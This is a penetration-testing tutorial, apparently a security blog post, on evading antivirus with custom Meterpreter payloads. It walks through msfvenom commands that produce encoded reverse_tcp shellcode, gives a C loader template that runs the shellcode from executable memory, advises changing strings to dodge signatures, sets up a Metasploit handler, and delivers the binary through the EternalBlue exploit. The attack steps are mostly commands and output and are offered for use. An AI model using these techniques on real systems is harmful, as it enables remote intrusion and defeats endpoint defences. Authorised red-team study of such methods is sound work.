Table of Contents

Home » Evading Antivirus with Better Meterpreter Payloads


Evading Antivirus with Better Meterpreter Payloads

Evading antivirus is often an under appreciated art that can make or break a penetration test. Modern antivirus products can detect meterpreter payloads easily, and can leave a pentester falsely believing a system is not exploitable.

To increase our overall success rate of exploitation we will create a custom meterpreter reverse_tcp payload.

To do this we will first need a few things:

  1. Visual Studio 2019 Community (Free):
  2. Metasploit Framework:



We will create shellcode with msfvenom, encode it, paste it to a custom template, and deliver the compiled binary as a custom payload with metasploit.

Windows Shellcode: x86 or x64?

Several years ago it was very common for x64 binaries to fly by Windows Defender, however AV products have greatly improved recently and begun to detect x64 meterpreter payloads we tested. Very few encoders support x64 shellcode which further reduces our ability to create stealthy payloads. In our testing we find that building x86 payloads with the shikata_ga_nai have stood the longest test of time and are still able to evade most AV engines.

Meterpreter payloads: which one?

You can view a list of payloads by running msfvenom -l payloads, we will use the reverse_tpc staged payload:

windows/meterpreter/reverse_tcp                     Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

Note: our selected payload windows/meterpreter/reverse_tcp payload is considerably different than the windows/meterpreter_reverse_tcp payload. The second / indicates the payload is staged and will connect back to our handler to deliver the complete meterpreter payload.

Shellcode Encoder

You can view all available encoders by running msfvenom -l encoders. We see the most success using x86/shikata_ga_nai with a number of iterations.

    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

Creating the shellcode with Msfvenom

Now we will use msfvenom to export the reverse_tcp payload as encoded shellcode. You will need to change the IP and port to that of your listener. You may also wish to change the number of iterations (-i 8), using up to 25 should be safe in most situations:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c > shell.c

In the output of this we’re interested in Payload size: line, in this example we have 557 bytes

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai chosen with final size 557
Payload size: 557 bytes
Final size of c file: 2366 bytes

In our shell.c output we have the following shellcode:

unsigned char buf[] =

Create a Visual Studio Project

Open Visual Studio and press “Create a new project”:

Select “Empty project”:

Choose a project name and press “Create”:

In “Source Files”, right click to add a “New item”:

Select cpp file and name this “main.cpp”:

Create a custom template

In your main.cpp file we will paste the following code:

#include <stdio.h>
#include <windows.h>

unsigned const char payload[] = "";

size_t size = 0;

int main(int argc, char** argv) {

    char* code;

    printf("This is just a random string!\n");

    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    memcpy(code, payload, size); 



We just need to change two things:

1: Add the “Payload size” number (do not use the “Final size of c file”) from when we generated the payload. In this case it was 557 bytes:

  1. Replace the placeholder in payload[] with the shellcode generated in buf[]:

  1. Add some random text so we don’t all use the same signatures!

  1. In the build dropdown select release:

  1. Hit Ctrl+B and your payload should be built!

Note: If you encounter errors regarding vcruntime140.dll the system may not have the Visual Studio Runtime installed; you may encounter this on minimally built server. To avoid this you can go to Project Properties and change the runtime library to Multi-threaded (/MT) which will create a statically linked binary. This however will be a larger binary and far more prone to detection by AV. Use this only as a last resort!

Starting a meterpreter handler

On our attacking system we will now create a handler to accept incoming connection from our payload. We should ensure the IP and port are the same as used in previous steps:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST
msf5 exploit(multi/handler) > set LPORT 9090
LPORT => 9090
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on

To launch our shiny new payload as part of an exploit, we can use the generic/custom payload and specify the filename of our binary:

msf5 > use windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload generic/custom
payload => generic/custom
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payloadfile /home/demo/Project1.exe
payloadfile => /home/demo/Project1.exe
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
  • Application
  • Network
  • Mobile
  • AWS